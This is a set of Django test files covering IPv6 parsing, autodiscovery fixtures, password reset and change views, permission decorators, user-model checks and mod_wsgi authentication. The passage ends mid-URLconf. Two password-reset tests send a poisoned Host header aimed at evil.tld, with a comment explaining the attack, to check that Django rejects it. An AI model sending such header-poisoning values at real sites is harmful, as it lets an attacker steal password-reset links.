        for vector in self.regression_vectors:
            result = pbkdf2(**vector['args'])
            self.assertEqual(binascii.hexlify(result).decode('ascii'),
                             vector['result'])






from __future__ import unicode_literals

import unittest

from django.utils.ipv6 import clean_ipv6_address, is_valid_ipv6_address


class TestUtilsIPv6(unittest.TestCase):

    def test_validates_correct_plain_address(self):
        self.assertTrue(is_valid_ipv6_address('fe80::223:6cff:fe8a:2e8a'))
        self.assertTrue(is_valid_ipv6_address('2a02::223:6cff:fe8a:2e8a'))
        self.assertTrue(is_valid_ipv6_address('1::2:3:4:5:6:7'))
        self.assertTrue(is_valid_ipv6_address('::'))
        self.assertTrue(is_valid_ipv6_address('::a'))
        self.assertTrue(is_valid_ipv6_address('2::'))

    def test_validates_correct_with_v4mapping(self):
        self.assertTrue(is_valid_ipv6_address('::ffff:254.42.16.14'))
        self.assertTrue(is_valid_ipv6_address('::ffff:0a0a:0a0a'))

    def test_validates_incorrect_plain_address(self):
        self.assertFalse(is_valid_ipv6_address('foo'))
        self.assertFalse(is_valid_ipv6_address('127.0.0.1'))
        self.assertFalse(is_valid_ipv6_address('12345::'))
        self.assertFalse(is_valid_ipv6_address('1::2:3::4'))
        self.assertFalse(is_valid_ipv6_address('1::zzz'))
        self.assertFalse(is_valid_ipv6_address('1::2:3:4:5:6:7:8'))
        self.assertFalse(is_valid_ipv6_address('1:2'))
        self.assertFalse(is_valid_ipv6_address('1:::2'))
        self.assertFalse(is_valid_ipv6_address('fe80::223: 6cff:fe8a:2e8a'))
        self.assertFalse(is_valid_ipv6_address('2a02::223:6cff :fe8a:2e8a'))

    def test_validates_incorrect_with_v4mapping(self):
        self.assertFalse(is_valid_ipv6_address('::ffff:999.42.16.14'))
        self.assertFalse(is_valid_ipv6_address('::ffff:zzzz:0a0a'))
        # The ::1.2.3.4 format used to be valid but was deprecated
        # in rfc4291 section 2.5.5.1
        self.assertTrue(is_valid_ipv6_address('::254.42.16.14'))
        self.assertTrue(is_valid_ipv6_address('::0a0a:0a0a'))
        self.assertFalse(is_valid_ipv6_address('::999.42.16.14'))
        self.assertFalse(is_valid_ipv6_address('::zzzz:0a0a'))

    def test_cleans_plain_address(self):
        self.assertEqual(clean_ipv6_address('DEAD::0:BEEF'), 'dead::beef')
        self.assertEqual(clean_ipv6_address('2001:000:a:0000:0:fe:fe:beef'), '2001:0:a::fe:fe:beef')
        self.assertEqual(clean_ipv6_address('2001::a:0000:0:fe:fe:beef'), '2001:0:a::fe:fe:beef')

    def test_cleans_with_v4_mapping(self):
        self.assertEqual(clean_ipv6_address('::ffff:0a0a:0a0a'), '::ffff:10.10.10.10')
        self.assertEqual(clean_ipv6_address('::ffff:1234:1234'), '::ffff:18.52.18.52')
        self.assertEqual(clean_ipv6_address('::ffff:18.52.18.52'), '::ffff:18.52.18.52')
        self.assertEqual(clean_ipv6_address('::ffff:0.52.18.52'), '::ffff:0.52.18.52')
        self.assertEqual(clean_ipv6_address('::ffff:0.0.0.0'), '::ffff:0.0.0.0')

    def test_unpacks_ipv4(self):
        self.assertEqual(clean_ipv6_address('::ffff:0a0a:0a0a', unpack_ipv4=True), '10.10.10.10')
        self.assertEqual(clean_ipv6_address('::ffff:1234:1234', unpack_ipv4=True), '18.52.18.52')
        self.assertEqual(clean_ipv6_address('::ffff:18.52.18.52', unpack_ipv4=True), '18.52.18.52')






import a_package_name_that_does_not_exist  # NOQA

content = 'Bad Module'






from . import site

content = 'Another Good Module'

site._registry.update({
    'lorem': 'ipsum',
})






class SiteMock(object):
    _registry = {}
site = SiteMock()






from . import site

content = 'Another Bad Module'

site._registry.update({
    'foo': 'bar',
})

raise Exception('Some random exception.')






content = 'Good Module'






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import itertools
import re

from django.conf import settings
from django.contrib.auth import SESSION_KEY
from django.contrib.auth.forms import (
    AuthenticationForm, PasswordChangeForm, SetPasswordForm,
)
from django.contrib.auth.models import User
from django.core import mail
from django.http import QueryDict
from django.test import TestCase, override_settings
from django.test.utils import ignore_warnings, patch_logger
from django.utils.deprecation import RemovedInDjango21Warning
from django.utils.encoding import force_text
from django.utils.six.moves.urllib.parse import ParseResult, urlparse

from .models import CustomUser, UUIDUser
from .settings import AUTH_TEMPLATES


@override_settings(
    LANGUAGES=[('en', 'English')],
    LANGUAGE_CODE='en',
    TEMPLATES=AUTH_TEMPLATES,
    ROOT_URLCONF='auth_tests.urls_deprecated',
)
class AuthViewsTestCase(TestCase):
    """
    Helper base class for all the follow test cases.
    """

    @classmethod
    def setUpTestData(cls):
        cls.u1 = User.objects.create_user(username='testclient', password='password', email='testclient@example.com')
        cls.u3 = User.objects.create_user(username='staff', password='password', email='staffmember@example.com')

    def login(self, username='testclient', password='password'):
        response = self.client.post('/login/', {
            'username': username,
            'password': password,
        })
        self.assertIn(SESSION_KEY, self.client.session)
        return response

    def logout(self):
        response = self.client.get('/admin/logout/')
        self.assertEqual(response.status_code, 200)
        self.assertNotIn(SESSION_KEY, self.client.session)

    def assertFormError(self, response, error):
        """Assert that error is found in response.context['form'] errors"""
        form_errors = list(itertools.chain(*response.context['form'].errors.values()))
        self.assertIn(force_text(error), form_errors)

    def assertURLEqual(self, url, expected, parse_qs=False):
        """
        Given two URLs, make sure all their components (the ones given by
        urlparse) are equal, only comparing components that are present in both
        URLs.
        If `parse_qs` is True, then the querystrings are parsed with QueryDict.
        This is useful if you don't want the order of parameters to matter.
        Otherwise, the query strings are compared as-is.
        """
        fields = ParseResult._fields

        for attr, x, y in zip(fields, urlparse(url), urlparse(expected)):
            if parse_qs and attr == 'query':
                x, y = QueryDict(x), QueryDict(y)
            if x and y and x != y:
                self.fail("%r != %r (%s doesn't match)" % (url, expected, attr))


@ignore_warnings(category=RemovedInDjango21Warning)
class PasswordResetTest(AuthViewsTestCase):

    def test_email_not_found(self):
        """If the provided email is not registered, don't raise any error but
        also don't send any email."""
        response = self.client.get('/password_reset/')
        self.assertEqual(response.status_code, 200)
        response = self.client.post('/password_reset/', {'email': 'not_a_real_email@email.com'})
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 0)

    def test_email_found(self):
        "Email is sent if a valid email address is provided for password reset"
        response = self.client.post('/password_reset/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 1)
        self.assertIn("http://", mail.outbox[0].body)
        self.assertEqual(settings.DEFAULT_FROM_EMAIL, mail.outbox[0].from_email)
        # optional multipart text/html email has been added.  Make sure original,
        # default functionality is 100% the same
        self.assertFalse(mail.outbox[0].message().is_multipart())

    def test_extra_email_context(self):
        """
        extra_email_context should be available in the email template context.
        """
        response = self.client.post(
            '/password_reset_extra_email_context/',
            {'email': 'staffmember@example.com'},
        )
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 1)
        self.assertIn('Email email context: "Hello!"', mail.outbox[0].body)

    def test_html_mail_template(self):
        """
        A multipart email with text/plain and text/html is sent
        if the html_email_template parameter is passed to the view
        """
        response = self.client.post('/password_reset/html_email_template/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 1)
        message = mail.outbox[0].message()
        self.assertEqual(len(message.get_payload()), 2)
        self.assertTrue(message.is_multipart())
        self.assertEqual(message.get_payload(0).get_content_type(), 'text/plain')
        self.assertEqual(message.get_payload(1).get_content_type(), 'text/html')
        self.assertNotIn('<html>', message.get_payload(0).get_payload())
        self.assertIn('<html>', message.get_payload(1).get_payload())

    def test_email_found_custom_from(self):
        "Email is sent if a valid email address is provided for password reset when a custom from_email is provided."
        response = self.client.post('/password_reset_from_email/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual("staffmember@example.com", mail.outbox[0].from_email)

    # Skip any 500 handler action (like sending more mail...)
    @override_settings(DEBUG_PROPAGATE_EXCEPTIONS=True)
    def test_poisoned_http_host(self):
        "Poisoned HTTP_HOST headers can't be used for reset emails"
        # This attack is based on the way browsers handle URLs. The colon
        # should be used to separate the port, but if the URL contains an @,
        # the colon is interpreted as part of a username for login purposes,
        # making 'evil.com' the request domain. Since HTTP_HOST is used to
        # produce a meaningful reset URL, we need to be certain that the
        # HTTP_HOST header isn't poisoned. This is done as a check when get_host()
        # is invoked, but we check here as a practical consequence.
        with patch_logger('django.security.DisallowedHost', 'error') as logger_calls:
            response = self.client.post(
                '/password_reset/',
                {'email': 'staffmember@example.com'},
                HTTP_HOST='www.example:dr.frankenstein@evil.tld'
            )
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(mail.outbox), 0)
            self.assertEqual(len(logger_calls), 1)

    # Skip any 500 handler action (like sending more mail...)
    @override_settings(DEBUG_PROPAGATE_EXCEPTIONS=True)
    def test_poisoned_http_host_admin_site(self):
        "Poisoned HTTP_HOST headers can't be used for reset emails on admin views"
        with patch_logger('django.security.DisallowedHost', 'error') as logger_calls:
            response = self.client.post(
                '/admin_password_reset/',
                {'email': 'staffmember@example.com'},
                HTTP_HOST='www.example:dr.frankenstein@evil.tld'
            )
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(mail.outbox), 0)
            self.assertEqual(len(logger_calls), 1)

    def _test_confirm_start(self):
        # Start by creating the email
        self.client.post('/password_reset/', {'email': 'staffmember@example.com'})
        self.assertEqual(len(mail.outbox), 1)
        return self._read_signup_email(mail.outbox[0])

    def _read_signup_email(self, email):
        urlmatch = re.search(r"https?://[^/]*(/.*reset/\S*)", email.body)
        self.assertIsNotNone(urlmatch, "No URL found in sent email")
        return urlmatch.group(), urlmatch.groups()[0]

    def test_confirm_valid(self):
        url, path = self._test_confirm_start()
        response = self.client.get(path)
        # redirect to a 'complete' page:
        self.assertContains(response, "Please enter your new password")

    def test_confirm_invalid(self):
        url, path = self._test_confirm_start()
        # Let's munge the token in the path, but keep the same length,
        # in case the URLconf will reject a different length.
        path = path[:-5] + ("0" * 4) + path[-1]

        response = self.client.get(path)
        self.assertContains(response, "The password reset link was invalid")

    def test_confirm_invalid_user(self):
        # Ensure that we get a 200 response for a non-existent user, not a 404
        response = self.client.get('/reset/123456/1-1/')
        self.assertContains(response, "The password reset link was invalid")

    def test_confirm_overflow_user(self):
        # Ensure that we get a 200 response for a base36 user id that overflows int
        response = self.client.get('/reset/zzzzzzzzzzzzz/1-1/')
        self.assertContains(response, "The password reset link was invalid")

    def test_confirm_invalid_post(self):
        # Same as test_confirm_invalid, but trying
        # to do a POST instead.
        url, path = self._test_confirm_start()
        path = path[:-5] + ("0" * 4) + path[-1]

        self.client.post(path, {
            'new_password1': 'anewpassword',
            'new_password2': ' anewpassword',
        })
        # Check the password has not been changed
        u = User.objects.get(email='staffmember@example.com')
        self.assertTrue(not u.check_password("anewpassword"))

    def test_confirm_complete(self):
        url, path = self._test_confirm_start()
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'anewpassword'})
        # Check the password has been changed
        u = User.objects.get(email='staffmember@example.com')
        self.assertTrue(u.check_password("anewpassword"))

        # Check we can't use the link again
        response = self.client.get(path)
        self.assertContains(response, "The password reset link was invalid")

    def test_confirm_different_passwords(self):
        url, path = self._test_confirm_start()
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'x'})
        self.assertFormError(response, SetPasswordForm.error_messages['password_mismatch'])

    def test_reset_redirect_default(self):
        response = self.client.post('/password_reset/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_reset/done/')

    def test_reset_custom_redirect(self):
        response = self.client.post('/password_reset/custom_redirect/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/custom/')

    def test_reset_custom_redirect_named(self):
        response = self.client.post('/password_reset/custom_redirect/named/', {'email': 'staffmember@example.com'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_reset/')

    def test_confirm_redirect_default(self):
        url, path = self._test_confirm_start()
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'anewpassword'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/reset/done/')

    def test_confirm_redirect_custom(self):
        url, path = self._test_confirm_start()
        path = path.replace('/reset/', '/reset/custom/')
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'anewpassword'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/custom/')

    def test_confirm_redirect_custom_named(self):
        url, path = self._test_confirm_start()
        path = path.replace('/reset/', '/reset/custom/named/')
        response = self.client.post(path, {'new_password1': 'anewpassword', 'new_password2': 'anewpassword'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_reset/')

    def test_confirm_display_user_from_form(self):
        url, path = self._test_confirm_start()
        response = self.client.get(path)

        # #16919 -- The ``password_reset_confirm`` view should pass the user
        # object to the ``SetPasswordForm``, even on GET requests.
        # For this test, we render ``{{ form.user }}`` in the template
        # ``registration/password_reset_confirm.html`` so that we can test this.
        username = User.objects.get(email='staffmember@example.com').username
        self.assertContains(response, "Hello, %s." % username)

        # However, the view should NOT pass any user object on a form if the
        # password reset link was invalid.
        response = self.client.get('/reset/zzzzzzzzzzzzz/1-1/')
        self.assertContains(response, "Hello, .")


@ignore_warnings(category=RemovedInDjango21Warning)
@override_settings(AUTH_USER_MODEL='auth_tests.CustomUser')
class CustomUserPasswordResetTest(AuthViewsTestCase):
    user_email = 'staffmember@example.com'

    @classmethod
    def setUpTestData(cls):
        cls.u1 = CustomUser.custom_objects.create(
            email='staffmember@example.com',
            date_of_birth=datetime.date(1976, 11, 8),
        )
        cls.u1.set_password('password')
        cls.u1.save()

    def _test_confirm_start(self):
        # Start by creating the email
        response = self.client.post('/password_reset/', {'email': self.user_email})
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(mail.outbox), 1)
        return self._read_signup_email(mail.outbox[0])

    def _read_signup_email(self, email):
        urlmatch = re.search(r"https?://[^/]*(/.*reset/\S*)", email.body)
        self.assertIsNotNone(urlmatch, "No URL found in sent email")
        return urlmatch.group(), urlmatch.groups()[0]

    def test_confirm_valid_custom_user(self):
        url, path = self._test_confirm_start()
        response = self.client.get(path)
        # redirect to a 'complete' page:
        self.assertContains(response, "Please enter your new password")
        # then submit a new password
        response = self.client.post(path, {
            'new_password1': 'anewpassword',
            'new_password2': 'anewpassword',
        })
        self.assertRedirects(response, '/reset/done/')


@ignore_warnings(category=RemovedInDjango21Warning)
@override_settings(AUTH_USER_MODEL='auth_tests.UUIDUser')
class UUIDUserPasswordResetTest(CustomUserPasswordResetTest):

    def _test_confirm_start(self):
        # instead of fixture
        UUIDUser.objects.create_user(
            email=self.user_email,
            username='foo',
            password='foo',
        )
        return super(UUIDUserPasswordResetTest, self)._test_confirm_start()


@ignore_warnings(category=RemovedInDjango21Warning)
class ChangePasswordTest(AuthViewsTestCase):

    def fail_login(self, password='password'):
        response = self.client.post('/login/', {
            'username': 'testclient',
            'password': password,
        })
        self.assertFormError(response, AuthenticationForm.error_messages['invalid_login'] % {
            'username': User._meta.get_field('username').verbose_name
        })

    def logout(self):
        self.client.get('/logout/')

    def test_password_change_fails_with_invalid_old_password(self):
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'donuts',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.assertFormError(response, PasswordChangeForm.error_messages['password_incorrect'])

    def test_password_change_fails_with_mismatched_passwords(self):
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'donuts',
        })
        self.assertFormError(response, SetPasswordForm.error_messages['password_mismatch'])

    def test_password_change_succeeds(self):
        self.login()
        self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.fail_login()
        self.login(password='password1')

    def test_password_change_done_succeeds(self):
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_change/done/')

    @override_settings(LOGIN_URL='/login/')
    def test_password_change_done_fails(self):
        response = self.client.get('/password_change/done/')
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/login/?next=/password_change/done/')

    def test_password_change_redirect_default(self):
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_change/done/')

    def test_password_change_redirect_custom(self):
        self.login()
        response = self.client.post('/password_change/custom/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/custom/')

    def test_password_change_redirect_custom_named(self):
        self.login()
        response = self.client.post('/password_change/custom/named/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(response.url, '/password_reset/')


@ignore_warnings(category=RemovedInDjango21Warning)
class SessionAuthenticationTests(AuthViewsTestCase):
    def test_user_password_change_updates_session(self):
        """
        #21649 - Ensure contrib.auth.views.password_change updates the user's
        session auth hash after a password change so the session isn't logged out.
        """
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
        })
        # if the hash isn't updated, retrieving the redirection page will fail.
        self.assertRedirects(response, '/password_change/done/')






from django.conf import settings
from django.contrib.auth import models
from django.contrib.auth.decorators import login_required, permission_required
from django.core.exceptions import PermissionDenied
from django.http import HttpResponse
from django.test import TestCase, override_settings
from django.test.client import RequestFactory

from .test_views import AuthViewsTestCase


@override_settings(ROOT_URLCONF='auth_tests.urls')
class LoginRequiredTestCase(AuthViewsTestCase):
    """
    Tests the login_required decorators
    """

    def testCallable(self):
        """
        Check that login_required is assignable to callable objects.
        """
        class CallableView(object):
            def __call__(self, *args, **kwargs):
                pass
        login_required(CallableView())

    def testView(self):
        """
        Check that login_required is assignable to normal views.
        """
        def normal_view(request):
            pass
        login_required(normal_view)

    def testLoginRequired(self, view_url='/login_required/', login_url=None):
        """
        Check that login_required works on a simple view wrapped in a
        login_required decorator.
        """
        if login_url is None:
            login_url = settings.LOGIN_URL
        response = self.client.get(view_url)
        self.assertEqual(response.status_code, 302)
        self.assertIn(login_url, response.url)
        self.login()
        response = self.client.get(view_url)
        self.assertEqual(response.status_code, 200)

    def testLoginRequiredNextUrl(self):
        """
        Check that login_required works on a simple view wrapped in a
        login_required decorator with a login_url set.
        """
        self.testLoginRequired(view_url='/login_required_login_url/', login_url='/somewhere/')


class PermissionsRequiredDecoratorTest(TestCase):
    """
    Tests for the permission_required decorator
    """
    def setUp(self):
        self.user = models.User.objects.create(username='joe', password='qwerty')
        self.factory = RequestFactory()
        # Add permissions auth.add_customuser and auth.change_customuser
        perms = models.Permission.objects.filter(codename__in=('add_customuser', 'change_customuser'))
        self.user.user_permissions.add(*perms)

    def test_many_permissions_pass(self):

        @permission_required(['auth_tests.add_customuser', 'auth_tests.change_customuser'])
        def a_view(request):
            return HttpResponse()
        request = self.factory.get('/rand')
        request.user = self.user
        resp = a_view(request)
        self.assertEqual(resp.status_code, 200)

    def test_many_permissions_in_set_pass(self):

        @permission_required({'auth_tests.add_customuser', 'auth_tests.change_customuser'})
        def a_view(request):
            return HttpResponse()
        request = self.factory.get('/rand')
        request.user = self.user
        resp = a_view(request)
        self.assertEqual(resp.status_code, 200)

    def test_single_permission_pass(self):

        @permission_required('auth_tests.add_customuser')
        def a_view(request):
            return HttpResponse()
        request = self.factory.get('/rand')
        request.user = self.user
        resp = a_view(request)
        self.assertEqual(resp.status_code, 200)

    def test_permissioned_denied_redirect(self):

        @permission_required(['auth_tests.add_customuser', 'auth_tests.change_customuser', 'non-existent-permission'])
        def a_view(request):
            return HttpResponse()
        request = self.factory.get('/rand')
        request.user = self.user
        resp = a_view(request)
        self.assertEqual(resp.status_code, 302)

    def test_permissioned_denied_exception_raised(self):

        @permission_required([
            'auth_tests.add_customuser', 'auth_tests.change_customuser', 'non-existent-permission'
        ], raise_exception=True)
        def a_view(request):
            return HttpResponse()
        request = self.factory.get('/rand')
        request.user = self.user
        with self.assertRaises(PermissionDenied):
            a_view(request)






from __future__ import unicode_literals

from django.contrib.auth.checks import (
    check_models_permissions, check_user_model,
)
from django.contrib.auth.models import AbstractBaseUser
from django.core import checks
from django.db import models
from django.test import (
    SimpleTestCase, override_settings, override_system_checks,
)
from django.test.utils import isolate_apps

from .models import CustomUserNonUniqueUsername


@isolate_apps('auth_tests', attr_name='apps')
@override_system_checks([check_user_model])
class UserModelChecksTests(SimpleTestCase):
    @override_settings(AUTH_USER_MODEL='auth_tests.CustomUserNonListRequiredFields')
    def test_required_fields_is_list(self):
        """REQUIRED_FIELDS should be a list."""
        class CustomUserNonListRequiredFields(AbstractBaseUser):
            username = models.CharField(max_length=30, unique=True)
            date_of_birth = models.DateField()

            USERNAME_FIELD = 'username'
            REQUIRED_FIELDS = 'date_of_birth'

        errors = checks.run_checks(app_configs=self.apps.get_app_configs())
        self.assertEqual(errors, [
            checks.Error(
                "'REQUIRED_FIELDS' must be a list or tuple.",
                obj=CustomUserNonListRequiredFields,
                id='auth.E001',
            ),
        ])

    @override_settings(AUTH_USER_MODEL='auth_tests.CustomUserBadRequiredFields')
    def test_username_not_in_required_fields(self):
        """USERNAME_FIELD should not appear in REQUIRED_FIELDS."""
        class CustomUserBadRequiredFields(AbstractBaseUser):
            username = models.CharField(max_length=30, unique=True)
            date_of_birth = models.DateField()

            USERNAME_FIELD = 'username'
            REQUIRED_FIELDS = ['username', 'date_of_birth']

        errors = checks.run_checks(self.apps.get_app_configs())
        self.assertEqual(errors, [
            checks.Error(
                "The field named as the 'USERNAME_FIELD' for a custom user model "
                "must not be included in 'REQUIRED_FIELDS'.",
                obj=CustomUserBadRequiredFields,
                id='auth.E002',
            ),
        ])

    @override_settings(AUTH_USER_MODEL='auth_tests.CustomUserNonUniqueUsername')
    def test_username_non_unique(self):
        """
        A non-unique USERNAME_FIELD should raise an error only if we use the
        default authentication backend. Otherwise, an warning should be raised.
        """
        errors = checks.run_checks()
        self.assertEqual(errors, [
            checks.Error(
                "'CustomUserNonUniqueUsername.username' must be "
                "unique because it is named as the 'USERNAME_FIELD'.",
                obj=CustomUserNonUniqueUsername,
                id='auth.E003',
            ),
        ])
        with self.settings(AUTHENTICATION_BACKENDS=['my.custom.backend']):
            errors = checks.run_checks()
            self.assertEqual(errors, [
                checks.Warning(
                    "'CustomUserNonUniqueUsername.username' is named as "
                    "the 'USERNAME_FIELD', but it is not unique.",
                    hint='Ensure that your authentication backend(s) can handle non-unique usernames.',
                    obj=CustomUserNonUniqueUsername,
                    id='auth.W004',
                ),
            ])

    @override_settings(AUTH_USER_MODEL='auth_tests.BadUser')
    def test_is_anonymous_authenticated_methods(self):
        """
        <User Model>.is_anonymous/is_authenticated must not be methods.
        """
        class BadUser(AbstractBaseUser):
            username = models.CharField(max_length=30, unique=True)
            USERNAME_FIELD = 'username'

            def is_anonymous(self):
                return True

            def is_authenticated(self):
                return True

        errors = checks.run_checks(app_configs=self.apps.get_app_configs())
        self.assertEqual(errors, [
            checks.Critical(
                '%s.is_anonymous must be an attribute or property rather than '
                'a method. Ignoring this is a security issue as anonymous '
                'users will be treated as authenticated!' % BadUser,
                obj=BadUser,
                id='auth.C009',
            ),
            checks.Critical(
                '%s.is_authenticated must be an attribute or property rather '
                'than a method. Ignoring this is a security issue as anonymous '
                'users will be treated as authenticated!' % BadUser,
                obj=BadUser,
                id='auth.C010',
            ),
        ])


@isolate_apps('auth_tests', attr_name='apps')
@override_system_checks([check_models_permissions])
class ModelsPermissionsChecksTests(SimpleTestCase):
    def test_clashing_default_permissions(self):
        class Checked(models.Model):
            class Meta:
                permissions = [
                    ('change_checked', 'Can edit permission (duplicate)')
                ]
        errors = checks.run_checks(self.apps.get_app_configs())
        self.assertEqual(errors, [
            checks.Error(
                "The permission codenamed 'change_checked' clashes with a builtin "
                "permission for model 'auth_tests.Checked'.",
                obj=Checked,
                id='auth.E005',
            ),
        ])

    def test_non_clashing_custom_permissions(self):
        class Checked(models.Model):
            class Meta:
                permissions = [
                    ('my_custom_permission', 'Some permission'),
                    ('other_one', 'Some other permission'),
                ]
        errors = checks.run_checks(self.apps.get_app_configs())
        self.assertEqual(errors, [])

    def test_clashing_custom_permissions(self):
        class Checked(models.Model):
            class Meta:
                permissions = [
                    ('my_custom_permission', 'Some permission'),
                    ('other_one', 'Some other permission'),
                    ('my_custom_permission', 'Some permission with duplicate permission code'),
                ]
        errors = checks.run_checks(self.apps.get_app_configs())
        self.assertEqual(errors, [
            checks.Error(
                "The permission codenamed 'my_custom_permission' is duplicated for "
                "model 'auth_tests.Checked'.",
                obj=Checked,
                id='auth.E006',
            ),
        ])

    def test_verbose_name_max_length(self):
        class Checked(models.Model):
            class Meta:
                verbose_name = 'some ridiculously long verbose name that is out of control' * 5
        errors = checks.run_checks(self.apps.get_app_configs())
        self.assertEqual(errors, [
            checks.Error(
                "The verbose_name of model 'auth_tests.Checked' must be at most 244 "
                "characters for its builtin permission names to be at most 255 characters.",
                obj=Checked,
                id='auth.E007',
            ),
        ])

    def test_custom_permission_name_max_length(self):
        custom_permission_name = 'some ridiculously long verbose name that is out of control' * 5

        class Checked(models.Model):
            class Meta:
                permissions = [
                    ('my_custom_permission', custom_permission_name),
                ]
        errors = checks.run_checks(self.apps.get_app_configs())
        self.assertEqual(errors, [
            checks.Error(
                "The permission named '%s' of model 'auth_tests.Checked' is longer "
                "than 255 characters." % custom_permission_name,
                obj=Checked,
                id='auth.E008',
            ),
        ])

    def test_empty_default_permissions(self):
        class Checked(models.Model):
            class Meta:
                default_permissions = ()

        self.assertEqual(checks.run_checks(self.apps.get_app_configs()), [])






from __future__ import unicode_literals

from django.contrib.auth.handlers.modwsgi import (
    check_password, groups_for_user,
)
from django.contrib.auth.models import Group, User
from django.test import TransactionTestCase, override_settings

from .models import CustomUser


# This must be a TransactionTestCase because the WSGI auth handler performs
# its own transaction management.
class ModWsgiHandlerTestCase(TransactionTestCase):
    """
    Tests for the mod_wsgi authentication handler
    """

    available_apps = [
        'django.contrib.auth',
        'django.contrib.contenttypes',
        'auth_tests',
    ]

    def test_check_password(self):
        """
        Verify that check_password returns the correct values as per
        https://modwsgi.readthedocs.io/en/develop/user-guides/access-control-mechanisms.html#apache-authentication-provider
        """
        User.objects.create_user('test', 'test@example.com', 'test')

        # User not in database
        self.assertIsNone(check_password({}, 'unknown', ''))

        # Valid user with correct password
        self.assertTrue(check_password({}, 'test', 'test'))

        # correct password, but user is inactive
        User.objects.filter(username='test').update(is_active=False)
        self.assertFalse(check_password({}, 'test', 'test'))

        # Valid user with incorrect password
        self.assertFalse(check_password({}, 'test', 'incorrect'))

    @override_settings(AUTH_USER_MODEL='auth_tests.CustomUser')
    def test_check_password_custom_user(self):
        """
        Verify that check_password returns the correct values as per
        https://modwsgi.readthedocs.io/en/develop/user-guides/access-control-mechanisms.html#apache-authentication-provider
        with custom user installed
        """

        CustomUser._default_manager.create_user('test@example.com', '1990-01-01', 'test')

        # User not in database
        self.assertIsNone(check_password({}, 'unknown', ''))

        # Valid user with correct password'
        self.assertTrue(check_password({}, 'test@example.com', 'test'))

        # Valid user with incorrect password
        self.assertFalse(check_password({}, 'test@example.com', 'incorrect'))

    def test_groups_for_user(self):
        """
        Check that groups_for_user returns correct values as per
        https://modwsgi.readthedocs.io/en/develop/user-guides/access-control-mechanisms.html#apache-group-authorisation
        """
        user1 = User.objects.create_user('test', 'test@example.com', 'test')
        User.objects.create_user('test1', 'test1@example.com', 'test1')
        group = Group.objects.create(name='test_group')
        user1.groups.add(group)

        # User not in database
        self.assertEqual(groups_for_user({}, 'unknown'), [])

        self.assertEqual(groups_for_user({}, 'test'), [b'test_group'])
        self.assertEqual(groups_for_user({}, 'test1'), [])






from django.conf.urls import url
from django.contrib import admin
from django.contrib.auth import views
from django.contrib.auth.decorators import login_required

# special urls for deprecated function-based views
urlpatterns = [
    url(r'^login/$', views.login, name='login'),
    url(r'^logout/$', views.logout, name='logout'),
    url(r'^password_change/$', views.password_change, name='password_change'),
    url(r'^password_change/done/$', views.password_change_done, name='password_change_done'),
    url(r'^password_reset/$', views.password_reset, name='password_reset'),
    url(r'^password_reset/done/$', views.password_reset_done, name='password_reset_done'),
    url(r'^reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',
        views.password_reset_confirm, name='password_reset_confirm'),
    url(r'^reset/done/$', views.password_reset_complete, name='password_reset_complete'),

    url(r'^password_reset_from_email/$', views.password_reset, dict(from_email='staffmember@example.com')),
    url(r'^password_reset_extra_email_context/$', views.password_reset,
        dict(extra_email_context=dict(greeting='Hello!'))),
    url(r'^password_reset/custom_redirect/$', views.password_reset, dict(post_reset_redirect='/custom/')),
    url(r'^password_reset/custom_redirect/named/$', views.password_reset, dict(post_reset_redirect='password_reset')),
    url(r'^password_reset/html_email_template/$', views.password_reset,
        dict(html_email_template_name='registration/html_password_reset_email.html')),
    url(r'^reset/custom/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',
        views.password_reset_confirm,
        dict(post_reset_redirect='/custom/')),
    url(r'^reset/custom/named/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',
        views.password_reset_confirm,
